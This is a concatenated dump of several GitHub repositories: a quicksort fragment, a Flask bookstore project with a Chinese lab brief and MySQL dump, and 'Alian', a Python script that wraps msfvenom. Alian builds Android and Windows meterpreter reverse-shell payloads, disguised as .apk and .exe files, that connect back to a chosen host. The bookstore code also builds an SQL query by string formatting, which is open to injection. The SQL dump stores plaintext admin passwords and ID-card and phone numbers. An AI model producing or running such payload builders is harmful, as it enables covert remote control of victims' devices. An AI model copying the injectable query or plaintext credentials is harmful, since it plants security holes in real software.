A[k]\n\t\t\t\t\telse:\n\t\t\t\t\t\tA[k], A[g] = A[g], A[k]\n\t\t\t\t\t\tA[k], A[l] = A[l], A[k]\n\t\t\t\t\t\tl += 1\n\t\t\t\t\tg -= 1\n\t\t\tk += 1\n\t\tl -= 1\n\t\tg += 1\n\t\tA[left] = A[l]\n\t\tA[l] = p\n\t\tA[right] = A[g]\n\t\tA[g] = q\n\t\tquicksortDual(A, left, l - 1)\n\t\tquicksortDual(A, l + 1, g - 1)\n\t\tquicksortDual(A, g + 1, right)\n\n\n\n\n\n# if l + r + 1 >= 32:\n# \t\tif r <= 1:\n# \t\t\treturn\n\n# \t\ti = l - 1\n# \t\tj = r\n# \t\tp = l - 1\n# \t\tq = r\n# \t\tv = A[r]\n\t\t\n# \t\twhile True:\n# \t\t\tfoundi = True\n# \t\t\tfoundj = True\n# \t\t\ti += 1\n\n# \t\t\twhile A[i] <= v and foundi:\n# \t\t\t\tif A[i] <= v:\n# \t\t\t\t\tfoundi = False\n# \t\t\t\ti += 1\n\n# \t\t\twhile v <= A[j] and foundj:\n# \t\t\t\tif j == 0:\n# \t\t\t\t\tbreak\n# \t\t\t\tif v <= A[j]:\n# \t\t\t\t\tfoundj = False\n# \t\t\t\tj -= 1\n\n# \t\t\tif i >= j:\n# \t\t\t\tbreak\n\n# \t\t\tA[i], A[j] = A[j], A[i]\n\n# \t\t\tif A[i] == v:\n# \t\t\t\tp += 1\n# \t\t\t\tA[p], A[i] = A[i], A[p]\n\n# \t\t\tif A[j] == v:\n# \t\t\t\tq = q - 1\n# \t\t\t\tA[j], A[q] = A[q], A[j]\n\t\t\n# \t\tA[i], A[r] = A[r], A[i]\n# \t\tj = i - 1\n# \t\tk = l\n# \t\twhile k < p:\n# \t\t\tA[k], A[j] = A[j], A[k] \n# \t\t\tk += 1\n# \t\t\tj -= 1\n\t\t\n# \t\ti = i + 1\n# \t\tk = r - 1\n# \t\twhile k > q:\n# \t\t\tA[i], A[k] = A[k], A[i]\n# \t\t\tk -= 1\n# \t\t\ti += 1" } ]
5
GourabDebnath/Alian
https://github.com/GourabDebnath/Alian
274be0e83d763fb3026bbbbe6683c37030d15d9c
b740ed459953777142ff6b410ecd3935b12e76b1
15d54c42d39f003d8d2e50401bd287eaed1107ae
refs/heads/master
2023-04-12T09:06:40.416935
2021-05-07T19:11:08
2021-05-07T19:11:08
263,858,557
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.2860662341117859, "alphanum_fraction": 0.2901724576950073, "avg_line_length": 43.12345504760742, "blob_id": "1fe2474c37b809da2b7a9fe9231f7063c3023175", "content_id": "d514cfe0cb859e410983fbc7ff1d61e0a65cebce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3892, "license_type": "no_license", "max_line_length": 124, "num_lines": 81, "path": "/Alian.py", "repo_name": "GourabDebnath/Alian", "src_encoding": "UTF-8", "text": "import os\r\nos.system(\"clear\")\r\nip= \"0\"\r\nport= \"0\"\r\napk_name= \"0\"\r\nwindows_name= \"0\"\r\nprint(\"\"\"\r\n\r\n ¸.· ´::::::´: . · .¨............. ::` ·.¸ \r\n ¸·´,;':::::::' :· . · . : ::::::`·¸ \r\n ¸·;;;;'::::::: · . :' · . . :::::::::·¸ \r\n,;;;;;;:::::::.:. · · : :::::::::::. \r\n;;;;;;;;::::::..· :´ . ' · .::::::::::::: \r\n';;;;;;;;,:::'::·.......¸.·:ˆ:·.¸.......::::::::::::::::: \r\n ';;;;;;;;;;;;;;,,¸:::::::::;::::::::::::::::::::::::::' \r\n' ';.¸.-·~·-.,¸;;;;;;,:::´`:::::::::::¸,.-·~·-.¸.::' \r\n ;;`·.¸ ¯¨*·.¸';;.'::::.¸.·*¨¯ ¸.·´:: \r\n ';;:::'`·.¸ ')`:::::( ¸.·´ :::: \r\n `·.::::::`·-—-·´ :::::: `·—–-·´ .::::·´ \r\n `·,;;:::. :·:´ø· ø `. ::. ' ·.:::·´ \r\n `·-.:::.·: ::.:.: · : ::: :.-·´ \r\n '`·.::.·——-~ .::·´ \r\n )`·.:. : . ·.::·´( \r\n /',; '`·——·´ :.'\\ \r\n _¸.——·´,;;; .:::.`·——.¸_ \r\n.·´ |`:¯'`: |`:¯`: |`:¯'`: |`·.¯¯¯¯`·´¯('|`:¯`·. |`:¯: \r\n .·´ .·´|`·.`: : `': : `·.`·.`·.¯`·.·´|'`: :`·.`·.`: : \r\n.·´ .·´__| `·. : |`·. `·. `·. ) `>|.·' : :`·.`·.`' ': \r\n: :¯¯¯: : `·´¯¯`·. : : .·´.·´_.·´`·.': : `·.: : \r\n|`·._`·..·´ ¸.·|`·.·´¯`·.·´|`·.|·´_____.·.(·'_.| '.·'_.| \r\n`·.|.·´__.·´ .·´`·.|.·´`·.|·´`·.¸||______|/\\||_'|/ |__|/ \r\n |___'|.·´—DaiR——[•ˆ)/sn•]—[•SiN•]——-«•š GOURAB DEBNATH\r\n '######::::'#######::'##::::'##:'########:::::'###::::'########::\r\n'##... ##::'##.... ##: ##:::: ##: ##.... ##:::'## ##::: ##.... ##:\r\n ##:::..::: ##:::: ##: ##:::: ##: ##:::: ##::'##:. ##:: ##:::: ##:\r\n ##::'####: ##:::: ##: ##:::: ##: ########::'##:::. ##: ########::\r\n ##::: ##:: ##:::: ##: ##:::: ##: ##.. ##::: #########: ##.... ##:\r\n ##::: ##:: ##:::: ##: ##:::: ##: ##::. ##:: ##.... ##: ##:::: ##:\r\n. ######:::. #######::. #######:: ##:::. ##: ##:::: ##: ########::\r\n:......:::::.......::::.......:::..:::::..::..:::::..::........:::\r\n \"\"\")\r\nprint(\"...................................................................\")\r\nprint(\"This tool has been created by Gourab Debnath\")\r\nprint(\"Here is the E-mail ID ([email protected]) to conract with his\")\r\nprint(\"...................................................................\")\r\nprint(\"This tool generating PAYLOAD easily\")\r\nprint(\"Here are good platforms to generate the payload easily\")\r\nprint(\"1.ANDROID\")\r\nprint(\"2.WINDOWS\")\r\nprint(\"3.INSTALL METASPLOIT ONLY FOR TERMUX(FOR ANDROID 7 AND HIGHER)\")\r\nplatforms = int(input(\"Enter the number: \"))\r\ndef android():\r\n global ip, port, apk_name\r\n print(\"Enter the ip address: \")\r\n ip = input()\r\n print(\"Enter the port: \")\r\n port = input()\r\n print(\"Enter the name of apk with .apk extension: \")\r\n apk_name = input()\r\ndef windows():\r\n global ip,port,windows_name\r\n print(\"Enter the ip address: \")\r\n ip = input()\r\n print(\"Enter the port: \")\r\n port = input()\r\n print(\"Enter the name of exe file with .exe extension: \")\r\n windows_name = input()\r\nif platforms == 1:\r\n android()\r\n os.system(\"msfvenom -p android/meterpreter/reverse_tcp LHOST=\"+ip+\" \"+\"LPORT=\"+port+\" \"+\"R >\"+\" \"+apk_name)\r\n print(\"your payload have been created\")\r\n print(\"you can see it with msfconsole\")\r\nif platforms == 2:\r\n windows()\r\n os.system(\"msfvenom -p windows/meterpreter/reverse_tcp LHOST=\"+ip+\" \"+\"LPORT=\"+port+\" \"+\" -f exe -o >\"+\" \"+windows_name)\r\n print(\"your payload have been created\")\r\n print(\"you can see it with msfconsole\")\r\nif platforms == 3:\r\n os.system(\"pkg install unstable-repo && pkg install metasploit\")\r\nif platforms <= 4:\r\n print(\"THERE IS NO OPTION\",\" \",platforms)" }, { "alpha_fraction": 0.7079645991325378, "alphanum_fraction": 0.7433628439903259, "avg_line_length": 13.125, "blob_id": "a14268067131024806977f4d75ae5bbfd5246140", "content_id": "e5be999226b6f001795a9e2b048e124ca8370e95", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 226, "license_type": "no_license", "max_line_length": 51, "num_lines": 16, "path": "/README.md", "repo_name": "GourabDebnath/Alian", "src_encoding": "UTF-8", "text": "# Alian\n\n\nHow to use\nIn your terminal type\n1. git clone https://github.com/GourabDebnath/Alian\n2.ls\n3.chmod +x Alian\n4.ls\n5.cd Alian\n6.python Alian.py (if not work then)\n\n* 6. python3 Alian.py\n# Requirements\npython\nmetesploit\n" } ]
2
HXhlx/Flask
https://github.com/HXhlx/Flask
1d54ca76f0a521b962e268a59ca47edd87d78eee
20b475edf4f5f4d00ec6f977874dff948a1908df
79c5c22c4208a29b9e9505a7d851be53ea75d7dc
refs/heads/master
2022-11-21T15:05:41.333050
2020-07-26T13:05:41
2020-07-26T13:05:41
273,753,763
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5844402313232422, "alphanum_fraction": 0.5844402313232422, "avg_line_length": 25.350000381469727, "blob_id": "73c6f787fa088838d186cfd6de76064772abb22c", "content_id": "3bbacffc6e19dd3c9ffe57026ba177f1b672e5c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 527, "license_type": "no_license", "max_line_length": 105, "num_lines": 20, "path": "/Administrator.py", "repo_name": "HXhlx/Flask", "src_encoding": "UTF-8", "text": "from Database import Database\n\n\nclass Administrator(Database):\n def __init__(self, admin_id, id, name, password, face):\n Database.__init__(self)\n self.admin_id = admin_id\n self.id = id\n self.name = name\n self.password = password\n self.face = face\n\n def statistics(self):\n pass\n\n def set_password(self):\n pass\n\n def supplement(self, schemas, no, num):\n self.cursor.execute(\"update {} set Stock = Stock + {} where BNo = '{}'\".format(schemas, num, no))\n" }, { "alpha_fraction": 0.754601240158081, "alphanum_fraction": 0.7770960927009583, "avg_line_length": 28.17910385131836, "blob_id": "02eba6157e3a261e23634fa034cd2ca73b3aed6a", "content_id": "ce2106b311f79d3eb61a126411649a7ff8f062c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 10598, "license_type": "no_license", "max_line_length": 53, "num_lines": 134, "path": "/README.md", "repo_name": "HXhlx/Flask", "src_encoding": "UTF-8", "text": "# 《软件工程与项目管理》实验任务书\n注意:本任务书中四次实验的具体要求会根据学习进度和情况进行调整,当前仅供参考,最\n终以实际发布每个实验时的具体要求为准。 \n***一、实验的任务和目标*** \n(1)掌握采用软件工程方法开发软件系统的过程,即经历软件开发的各阶段——软件的\n定义、分析、设计、编码、测试与过程管理,将软件工程和项目管理的原理、方法与技术应\n用于实际的软件问题。 \n(2)加深对软件开发过程中所涉及的各种建模工具的认识和理解,学会利用现有的计算\n机辅助工具完成软件系统的开发工作。 \n(3)锻炼小组成员的组织、管理、协作、沟通和表达的能力,应用相关工具对软件开发\n过程进行计划和管理。 \n(4)能够编写符合规范的软件开发过程中产生的主要技术文档。 \n***二、完成实验需要具备的条件*** \n(1)掌握软件开发的方法和步骤。 \n(2)掌握软件文档编制的相关标准。 \n(3)熟悉实验环境:计算机辅助绘图工具(MS Visio 等)、项目管理工具(MS Project\n等)、文档编辑工具。 \n***三、实验内容*** \n软件工程课程规定的课内实验为 16 学时(4 周)。要求学生以 5-6 人的项目组为单位完成\n一个软件项目的项目计划、需求分析、软件设计、软件测试方案设计、系统(部分)编程实\n现等工作,最终提交相关实验的实验报告(实验报告+会议记录)并最终进行课堂答辩报告和\n实现功能演示。\n## 实验一 软件项目的需求分析与开发计划 \n1. 确定本次实验小组成员任务分配,制定开发计划(用 Gantt 图描述)。\n2. 通过课外调研及资料查阅充分了解待开发软件项目的背景、需求和约束。\n3. 定义项目规模、目标等基本问题。\n4. 确定软件系统的功能需求,建立功能模型(用数据流图描述)。\n5. 根据功能模型和实际应用要求,确定系统的数据需求,建立数据模型(借助 E-R 图描\n述)。\n6. 使用数据字典定义功能模型和数据模型中的对象,为下一步的软件设计工作奠定基础。\n7. 提交实验报告,即编写“需求规格说明书”;提交本阶段会议记录,至少 2 次记录。\n## 实验二 软件项目的结构化设计 \n本实验属于实验一(软件项目的需求分析)的后续实验。采用结构化方法,根据实\n验一所产生的需求规格说明对项目进行总体设计和详细设计。\n1. 确定本次实验小组成员任务分配,制定开发计划(用 Gantt 图描述)。\n2. 根据需求分析阶段得到的数据流图、设计软件的功能模块结构(用软件结构图表示)。\n3. 根据需求分析阶段得到的 E-R 图进行数据结构设计(即设计关系数据库的表结构)。\n4. 进行系统接口设计(包括内部接口、与用户接口等)。\n5. 对软件结构中的功能模块进行详细设计(可以使用 N-S 图、程序流程图、PDL 等工具\n对模块的算法逻辑进行描述)。\n6. 提交实验报告,即编写“软件总体/详细设计说明书”。提交本阶段会议记录,至少 2\n次记录\n2\n## 实验三 软件项目的面向对象分析与设计 \n本实验属于实验一(软件项目的需求分析)和实验二(软件项目的结构化设计)的\n后续实验。采用面向对象方法,根据实验一所进行的问题定义对项目进行需求分析与设计。\n通过对比实验二和实验三,深入体会两种软件工程方法的不同。\n1. 确定本次实验小组成员任务分配,制定开发计划(用 Gantt 图描述)。\n2. 进行面向对象分析:根据实验一采集的需求,进行简单的需求陈述;建立功能模型(用\n用例图表示);建立对象模型(用类图表示);建立动态模型(用时序图和状态图表示)。\n3. 进行面向对象设计:设计问题域子系统(用类图表示);设计人机交互子系统(用类图\n表示);设计任务管理子系统(用类图表示);设计数据管理子系统(用类图、包图表\n示)。\n4. 提交实验报告,即编写“面向对象分析/设计说明书”。提交本阶段会议记录,至少 2\n次记录\n## 实验四 编码与测试、项目总结 \n1. 确定本次实验小组成员任务分配,制定开发计划(用 Gantt 图描述)。\n2. 根据上述两种软件设计结果(结构化设计和面向对象设计),选择其中一种方法继续进\n行开发。具体地,选择合适的编程语言、环境和开发工具,完成软件系统的编程,对\n典型功能模块进行测试,完成以下测试方案设计: (1)采用“等价分类法”和边界值分析法对程序的接口进行测试。\n(2)选择合适的“逻辑覆盖标准”,对程序的内部逻辑进行测试。\n3. 针对项目实验整体情况进行分析总结。\n4. 提交项目源程序。选择提交可执行程序。\n5. 提交实验报告,报告主要内容分为两部分:1)系统实现(用界面截图展示);2)测试\n分析报告(包括测试方案的设计过程及测试用例)。提交本阶段会议记录,至少 2 次记\n录\n6. 制作 PPT,进行实验课堂报告,演示可执行的软件系统,介绍本次实验。\n# 附录 1:实验项目选题 \n* 实验课题选择办法:每个项目组自由选择一个感兴趣的课题,也可以提交其他难度相当\n的课题(需提交给任课教师)。对所选课题在所给出的功能/需求的基础上,可以根据领\n域知识进行一定的限定和优化。 \n## 1:小区物业管理系统\n小区物业管理系统应能对小区内的楼盘、住户、物业管理项目进行管理,满足以下需求: \n(1)楼盘信息管理(小区中各幢楼盘的基本概况的登记、入住情况的查询等) \n(2)小区业主信息的管理(业主基本情况、入住情况的登记和维护等) \n(3)业主投诉情况管理(包括记录业主投诉内容、解决情况等信息) \n(4)物业收费管理(收费项目、标准的设置和查询;收缴情况的登记和查询等) \n## 2:学生选课系统\n学生选课系统的功能要求: \n(1)教师可以提前一个学期将决定开设的选修课程告知教务部门(选修课程的信息包括\n课程名称、学时数、学生人数限制等),最终由教务部门汇总、公布选修课程清单。 \n(2)学生在规定的时段内、依据选修课程清单进行选课,规定每人最多可选四门课程。 \n一般情况下学生选课要求可以得到满足,若出现问题,教务部门负责与学生协调;若没有问\n题或问题得到解决,教务部门向学生公布选课结果。 \n(3)学生可以随时查询自己的选课情况;学生在规定的时间内通过该系统可以增选或撤\n选课程。 \n(4)教师可随时查询其课程的选修情况、并得到选课学生名单。 \n## 3:酒店客房管理系统 \n酒店客房管理系统能够完成以下工作: \n(1)客房基本信息管理:客房基本信息录入、变更;客房信息的查询和统计。 \n(2)客房预订功能:接受客人预订请求、查询客房情况是否满足预订要求,完成预订。 \n(3)入住登记:记录入住客人基本信息、为客人分配客房,开出入住单。 \n(4)结帐:根据客人提供的入住单进行结算,并输出帐单。 \n## 4:实验室设备管理系统 \n系统功能简介: \n(1)对新购进设备进行购入登记(包括内部编号、设备类别、设备名称、型号、规格、\n单价、购置日期、生产厂家、购买人等信息);对已有设备信息进行维护。 \n(2)每学年要对实验室设备使用情况进行检查、统计、更新等处理。其中: \n①对于已彻底损坏的设备作报废处理,同时详细记录有关信息。 \n②对于有严重问题(故障)的设备要及时修理,并记录修理日期、修理厂家、修理费用、责任人等信息。③对于急\n需但又缺少的设备需以“申请表”的形式送交上级领导请求批准购买。 \n(3)随时对现有设备的基本信息、修理情况、报废情况进行查询和统计。 \n## 5:书店经营管理系统 \n书店经营管理系统用于书店的前台图书销售、出租等工作的管理自动化; \n包括以下功能: \n(1)图书销售管理(出售图书时,结算和支付等) \n(2)图书出租管理(图书出租和归还信息的登记,租金结算) \n(3)图书信息查询(包括出售图书和出租图书两类信息) \n(4)图书预订管理:顾客预订指定的图书(预订信息登记;发放订书单、到货通知单) \n## 6:超市商品销售管理系统 \n超市商品销售管理系统应能满足以下需求: \n(1)会员信息管理(申请会员、审核、批准;会员信息的修改;会员信息的查询;会员\n购物情况统计等) \n(2)商品销售管理(商品出售时,结算和支付等) \n(3)商品货架管理(根据商品销售情况,及时提供相关货物的配送提示) \n(4)退、换货信息的管理(登记、统计、查询等) \n在对本系统的开发中,请考虑对一些必要信息的统计报表功能的需求。 \n## 7:图书馆管理系统 \n图书馆管理系统的功能为: \n能够存储一定种类和数量的图书和期刊信息,并能有效的进行图书的查询和借阅管理。\n主要包括: \n(1)图书信息维护; \n(2)图书信息的查询; \n(3)图书的出借、续借、返还和相关情况的管理; \n(4)读者信息管理(读者信息的登记、删除及修改;读者资料的统计与查询); \n(5)能够提供一定的安全机制(授权访问,防止随意删改等) \n## 8: 在线影院订票系统 \n在线影院订票系统的功能为: \n能够查询院线排片信息,进行在线订票的相关操作,对排片信息、影片信息和订票信息进行管理。 \n主要包括: \n(1) 影院工作人员对影片信息、院线排片信息更新和维护; \n(2) 对影片、影院信息的搜索和浏览; \n(3) 观影客户可以在线选择影院、场次并进行相应的选座、订票活动; \n(4) 允许观影客户在线进行改票、退票操作。 \n" }, { "alpha_fraction": 0.3978330194950104, "alphanum_fraction": 0.5947886109352112, "avg_line_length": 39.54986572265625, "blob_id": "f1f879f1e898fff9034bd2d1dd11e9df65616757", "content_id": "1d8443da48ee33e6509a412e1432659d3a638529", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 16416, "license_type": "no_license", "max_line_length": 127, "num_lines": 371, "path": "/bookstore.sql", "repo_name": "HXhlx/Flask", "src_encoding": "UTF-8", "text": "-- MySQL dump 10.13 Distrib 8.0.20, for Win64 (x86_64)\n--\n-- Host: 127.0.0.1 Database: bookstore\n-- ------------------------------------------------------\n-- Server version\t8.0.20\n\n/*!40101 SET @OLD_CHARACTER_SET_CLIENT = @@CHARACTER_SET_CLIENT */;\n/*!40101 SET @OLD_CHARACTER_SET_RESULTS = @@CHARACTER_SET_RESULTS */;\n/*!40101 SET @OLD_COLLATION_CONNECTION = @@COLLATION_CONNECTION */;\n/*!50503 SET NAMES utf8mb4 */;\n/*!40103 SET @OLD_TIME_ZONE = @@TIME_ZONE */;\n/*!40103 SET TIME_ZONE = '+00:00' */;\n/*!40014 SET @OLD_UNIQUE_CHECKS = @@UNIQUE_CHECKS, UNIQUE_CHECKS = 0 */;\n/*!40014 SET @OLD_FOREIGN_KEY_CHECKS = @@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS = 0 */;\n/*!40101 SET @OLD_SQL_MODE = @@SQL_MODE, SQL_MODE = 'NO_AUTO_VALUE_ON_ZERO' */;\n/*!40111 SET @OLD_SQL_NOTES = @@SQL_NOTES, SQL_NOTES = 0 */;\n\n--\n-- Table structure for table `addmembers`\n--\n\nDROP TABLE IF EXISTS `addmembers`;\n/*!40101 SET @saved_cs_client = @@character_set_client */;\n/*!50503 SET character_set_client = utf8mb4 */;\nCREATE TABLE `addmembers`\n(\n `MNo` bigint NOT NULL,\n `IDNo` char(18) NOT NULL,\n `Name` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,\n `Img` varchar(100) DEFAULT NULL,\n PRIMARY KEY (`MNo`),\n CONSTRAINT `MNo` FOREIGN KEY (`MNo`) REFERENCES `members` (`MNo`)\n) ENGINE = InnoDB\n DEFAULT CHARSET = utf8;\n/*!40101 SET character_set_client = @saved_cs_client */;\n\n--\n-- Dumping data for table `addmembers`\n--\n\nLOCK TABLES `addmembers` WRITE;\n/*!40000 ALTER TABLE `addmembers`\n DISABLE KEYS */;\nINSERT INTO `addmembers`\nVALUES (100001, '352230199606161202', '萧一', NULL),\n (100002, '352230200107161204', '张二', NULL),\n (100003, '352230197704141001', '李三', NULL);\n/*!40000 ALTER TABLE `addmembers`\n ENABLE KEYS */;\nUNLOCK TABLES;\n\n--\n-- Table structure for table `admin`\n--\n\nDROP TABLE IF EXISTS `admin`;\n/*!40101 SET @saved_cs_client = @@character_set_client */;\n/*!50503 SET character_set_client = utf8mb4 */;\nCREATE TABLE `admin`\n(\n `ANo` bigint NOT NULL AUTO_INCREMENT,\n `IDNo` char(18) NOT NULL,\n `Name` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,\n `Code` varchar(16) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,\n `Img` varchar(100) DEFAULT NULL,\n PRIMARY KEY (`ANo`)\n) ENGINE = InnoDB\n AUTO_INCREMENT = 4\n DEFAULT CHARSET = utf8;\n/*!40101 SET character_set_client = @saved_cs_client */;\n\n--\n-- Dumping data for table `admin`\n--\n\nLOCK TABLES `admin` WRITE;\n/*!40000 ALTER TABLE `admin`\n DISABLE KEYS */;\nINSERT INTO `admin`\nVALUES (1, '352230199803030024', '张三', '123456', NULL),\n (2, '352230198806160310', '张璐', '654321', NULL),\n (3, '352230198210100013', '范范', 'ABCDEFG', NULL);\n/*!40000 ALTER TABLE `admin`\n ENABLE KEYS */;\nUNLOCK TABLES;\n\n--\n-- Table structure for table `buybook`\n--\n\nDROP TABLE IF EXISTS `buybook`;\n/*!40101 SET @saved_cs_client = @@character_set_client */;\n/*!50503 SET character_set_client = utf8mb4 */;\nCREATE TABLE `buybook`\n(\n `BuyNo` char(20) NOT NULL,\n `BuyDate` datetime NOT NULL,\n `MNo` bigint NOT NULL,\n `BNo` char(17) NOT NULL,\n `BuyNum` smallint NOT NULL,\n `BPay` decimal(10, 2) NOT NULL,\n PRIMARY KEY (`BuyNo`),\n KEY `BNo` (`BNo`),\n KEY `MNo` (`MNo`),\n CONSTRAINT `BNo` FOREIGN KEY (`BNo`) REFERENCES `newbook` (`BNo`),\n CONSTRAINT `buybook_ibfk_1` FOREIGN KEY (`MNo`) REFERENCES `members` (`MNo`)\n) ENGINE = InnoDB\n DEFAULT CHARSET = utf8;\n/*!40101 SET character_set_client = @saved_cs_client */;\n\n--\n-- Dumping data for table `buybook`\n--\n\nLOCK TABLES `buybook` WRITE;\n/*!40000 ALTER TABLE `buybook`\n DISABLE KEYS */;\nINSERT INTO `buybook`\nVALUES ('B20200101000001', '2020-01-01 10:45:26', 100001, '9787040379105', 2, 66.00),\n ('B20200101000002', '2020-01-01 10:45:30', 100002, '9787040541410', 1, 59.00),\n ('B20200211000001', '2020-02-11 10:45:33', 100002, '9787108063106', 1, 28.00),\n ('B20200211000002', '2020-02-11 10:45:36', 100002, '9787040541410', 1, 59.00),\n ('B20200313000001', '2020-03-13 10:45:38', 100003, '9787302556831', 2, 90.00),\n ('B20200316000001', '2020-03-16 10:45:40', 100003, '9787302556619', 1, 20.00),\n ('B20200416000001', '2020-04-16 10:45:44', 100004, '9787576005141', 3, 75.00),\n ('B20200416000002', '2020-04-16 10:45:46', 100004, '9787559612236', 1, 50.00),\n ('B20200513000001', '2020-05-13 10:45:52', 100001, '9787540487645', 1, 42.00),\n ('B20200513000002', '2020-05-13 10:45:54', 100005, '9787544291170', 2, 100.00),\n ('B20200613000002', '2020-06-13 10:45:59', 100006, '9787544288590', 1, 40.00);\n/*!40000 ALTER TABLE `buybook`\n ENABLE KEYS */;\nUNLOCK TABLES;\n\n--\n-- Table structure for table `leasebook`\n--\n\nDROP TABLE IF EXISTS `leasebook`;\n/*!40101 SET @saved_cs_client = @@character_set_client */;\n/*!50503 SET character_set_client = utf8mb4 */;\nCREATE TABLE `leasebook`\n(\n `LNo` char(20) NOT NULL,\n `LDate` datetime NOT NULL,\n `MNo` bigint NOT NULL,\n `BNo` char(17) NOT NULL,\n `RDate` datetime DEFAULT NULL,\n `LState` enum ('在借','已还','逾期') NOT NULL,\n `LPay` decimal(10, 2) DEFAULT NULL,\n PRIMARY KEY (`LNo`),\n KEY `MNo` (`MNo`),\n KEY `BNo` (`BNo`),\n CONSTRAINT `leasebook_ibfk_1` FOREIGN KEY (`MNo`) REFERENCES `members` (`MNo`),\n CONSTRAINT `leasebook_ibfk_2` FOREIGN KEY (`BNo`) REFERENCES `oldbook` (`BNo`)\n) ENGINE = InnoDB\n DEFAULT CHARSET = utf8;\n/*!40101 SET character_set_client = @saved_cs_client */;\n\n--\n-- Dumping data for table `leasebook`\n--\n\nLOCK TABLES `leasebook` WRITE;\n/*!40000 ALTER TABLE `leasebook`\n DISABLE KEYS */;\nINSERT INTO `leasebook`\nVALUES ('L20200101000001', '2020-01-01 10:36:38', 100001, '9787040312102', '2020-06-20 10:36:38', '已还', 4.40),\n ('L20200201000001', '2020-02-01 10:43:25', 100002, '9787107346415', '2020-06-20 15:41:52', '逾期', 25.00),\n ('L20200201000002', '2020-02-01 16:42:01', 100002, '9787108063106', '2020-06-20 16:42:01', '逾期', 28.00),\n ('L20200322000001', '2020-03-22 10:38:24', 100003, '9787519201906', '2020-07-22 10:38:24', '在借', NULL),\n ('L20200322000002', '2020-03-22 10:39:41', 100004, '9787517839040', '2020-07-22 10:39:41', '在借', NULL),\n ('L20200521000001', '2020-05-21 13:40:22', 100005, '9787530215593', '2020-06-05 10:40:43', '已还', 2.80),\n ('L20200606000001', '2020-06-06 12:44:07', 100006, '9787538760743', '2020-06-13 10:44:28', '已还', 3.52),\n ('L20200606000002', '2020-06-06 15:54:46', 100005, '9787108063106', '2020-09-06 10:54:46', '在借', NULL);\n/*!40000 ALTER TABLE `leasebook`\n ENABLE KEYS */;\nUNLOCK TABLES;\n\n--\n-- Table structure for table `members`\n--\n\nDROP TABLE IF EXISTS `members`;\n/*!40101 SET @saved_cs_client = @@character_set_client */;\n/*!50503 SET character_set_client = utf8mb4 */;\nCREATE TABLE `members`\n(\n `MNo` bigint NOT NULL AUTO_INCREMENT,\n `IDNo` char(18) NOT NULL,\n `Name` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,\n `Tel` char(20) NOT NULL,\n `Img` varchar(100) DEFAULT NULL,\n `CNo` smallint NOT NULL DEFAULT '0',\n `Addr` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,\n PRIMARY KEY (`MNo`)\n) ENGINE = InnoDB\n AUTO_INCREMENT = 100014\n DEFAULT CHARSET = utf8;\n/*!40101 SET character_set_client = @saved_cs_client */;\n\n--\n-- Dumping data for table `members`\n--\n\nLOCK TABLES `members` WRITE;\n/*!40000 ALTER TABLE `members`\n DISABLE KEYS */;\nINSERT INTO `members`\nVALUES (100001, '352230196702150021', '萧萧', '15861165153', NULL, 202, '聚湖路12号3#703'),\n (100002, '352230197811010721', '张颖', '13859657478', NULL, 876, '石城路16号'),\n (100003, '352230199908182102', '李鹏', '15160574321', NULL, 456, '四砖公路24号外一环303'),\n (100004, '320623199812120023', '陈丽', '15861165562', NULL, 778, '橡树湾一栋A602'),\n (100005, '440882199902251342', '林绕晴', '15861161590', NULL, 590, '理想大道B102'),\n (100006, '512568199910062341', '文雯', '17315114526', NULL, 526, '理想大道B103'),\n (100007, '123456789123456789', '向瀚淋', '15961165153', 'D:\\\\Python\\\\bookstore_flask\\\\static\\\\photo\\\\管理员.jpg', 0, 'M87星云');\n/*!40000 ALTER TABLE `members`\n ENABLE KEYS */;\nUNLOCK TABLES;\n\n--\n-- Table structure for table `newbook`\n--\n\nDROP TABLE IF EXISTS `newbook`;\n/*!40101 SET @saved_cs_client = @@character_set_client */;\n/*!50503 SET character_set_client = utf8mb4 */;\nCREATE TABLE `newbook`\n(\n `BNo` char(17) NOT NULL,\n `BName` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,\n `Author` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,\n `Press` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,\n `Price` decimal(10, 2) NOT NULL,\n `Stock` smallint NOT NULL,\n PRIMARY KEY (`BNo`)\n) ENGINE = InnoDB\n DEFAULT CHARSET = utf8;\n/*!40101 SET character_set_client = @saved_cs_client */;\n\n--\n-- Dumping data for table `newbook`\n--\n\nLOCK TABLES `newbook` WRITE;\n/*!40000 ALTER TABLE `newbook`\n DISABLE KEYS */;\nINSERT INTO `newbook`\nVALUES ('9787040312102', '概率论与数理统计教程', '茆诗松', '高等教育出版社', 55.40, 15),\n ('9787040379105', '高等代数', '北京大学数学系前代数小组', '高等教育出版社', 33.00, 23),\n ('9787040541410', '智能之门', '胡晓武', '高等教育出版社', 59.00, 4),\n ('9787108063106', '我们仨', '杨绛', '生活.读书.新知三联书店', 28.00, 30),\n ('9787201088945', '皮囊', '蔡崇达', '天津人民出版社', 49.80, 45),\n ('9787302556619', '机器人学', '贾瑞清', '清华大学出版社', 20.00, 0),\n ('9787302556831', '软件项目管理', '夏辉、徐鹏', '清华大学出版社', 45.00, 23),\n ('9787502289669', '长难句解密', '何凯文', '中国原子能出版社', 38.00, 20),\n ('9787506380263', '人间失格', '太宰治', '作家出版社', 25.00, 22),\n ('9787512007468', '从容彼岸是生活', '林清玄', '线装书局', 29.80, 5),\n ('9787513919524', '乌合之众 : 大众心理研究', ' 古斯塔夫·勒庞', '民主与建设出版社', 26.00, 27),\n ('9787519201906', '英语四级词汇', '伍乐其', '世界图书出版公司', 49.80, 0),\n ('9787530215593', '活着', '余华', '北京十月文艺出版社', 35.00, 17),\n ('9787538760743', '罗生门', '芥川龙之介', 